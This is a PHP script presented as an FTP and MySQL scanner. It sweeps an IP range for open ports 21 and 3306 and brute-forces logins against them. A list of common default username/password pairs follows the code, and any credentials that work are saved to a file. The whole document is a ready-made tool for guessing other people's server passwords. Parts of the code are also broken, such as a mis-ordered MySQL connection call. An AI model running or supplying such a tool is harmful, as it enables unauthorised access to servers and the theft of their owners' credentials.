Ftp Mysql Scanner V1

<?php
set_time_limit(0);
error_reporting(0);
///////////////////////////////////////////////////////////
//
// ftp and mysql scanner (scan ip range and bruteforce passwords)
// version 1
//
///////////////////////////////////////////////////////////
// INSERT IP RANGE
$ip_range = "127.0.0.1-128.2.2.5";
// INSERT FTP PORT
$ftp_port = 21;
// INSERT MYSQL PORT
$mysql_port = 3306;
//
///////////////////////////////////////////////////////////

list($start, $stop) = split('[-]', $ip_range);
list($s1, $s2, $s3, $s4) = split('[.]', $start);
list($e1, $e2, $e3, $e4) = split('[.]', $stop);

for($i1=$s1;$i1<=$e1;$i1++)
    for($i2=$s2;$i2<=$e2;$i2++)
        for($i3=$s3;$i3<=$e3;$i3++)
            for($i4=$s4;$i4<=$e4;$i4++) {
                $ip = $i1.".".$i2.".".$i3.".".$i4;
                isportopen($ip, $ftp_port, $mysql_port);
                usleep(50000);
            }

function isportopen($ip_it, $port_ftp, $port_mysql) {
    $conftp = fsockopen($ip_it, $port_ftp, $errno, $errstr, 10);
    if($conftp) {
        writetofile($ip_it.":$port_ftp is open", "open_ports.txt");
        testftp($ip_it, $port_ftp);
    }
    fclose($conftp);
    $conmysql = fsockopen($ip_it, $port_mysql, $errno, $errstr, 10);
    if($conmysql) {
        writetofile($ip_it.":$port_mysql is open", "open_ports.txt");
        testmysql($ip_it, $port_mysql);
    }
    fclose($conmysql);
}

function testftp($ip_tt, $port_tt) {
    $pwd_list = "pwd.txt";
    
    $pwd_file = fopen($pwd_list, "r");
    $connection = ftp_connect($ip_tt, $port_tt);
    while(!feof($pwd_file)) {
        $pwd_entry = fgets($pwd_file);
        list($username, $password) = split('[ ]', $pwd_entry);
        $login = ftp_login($connection, trim($username), trim($password));
        if($login) {
            writetofile("Server: $ip_tt:$port_tt\nUsername: $username\nPassword: $password\n\n", "found_logins.txt");
            break;
        }
        usleep(50000);
    }
    ftp_close($connection);
    fclose($pwd_file);
}

function testmysql($ip_my, $port_my) {
    $pwd_list = "pwd.txt";
    
    $pwd_file = fopen($pwd_list, "r");
    while(!feof($pwd_file)) {
        $pwd_entry = fgets($pwd_file);
        list($username, $password) = split('[ ]', $pwd_entry);
        $connection = mysql_connect($ip_my, $port_my, trim($username), trim($password));
        if($connection) {
            writetofile("Server: $ip_my:$port_my\nUsername: $username\nPassword: $password\n\n", "found_logins.txt");
            break;
        }
        usleep(50000);
    }
    mysql_close($connection);
    fclose($pwd_file);
}

function writetofile($string, $filetowrite) {
    $file = fopen($filetowrite, "a") or die("error");
    fwrite($file, $string."\n");
    fclose($file);
}
?>

anonymous
admin password
admin 12345
admin 123456
admin qwerty

ftp ftp
ftpadmin ftpadmin
ftp 12345
ftp 123456
root
root password
root 12345
root root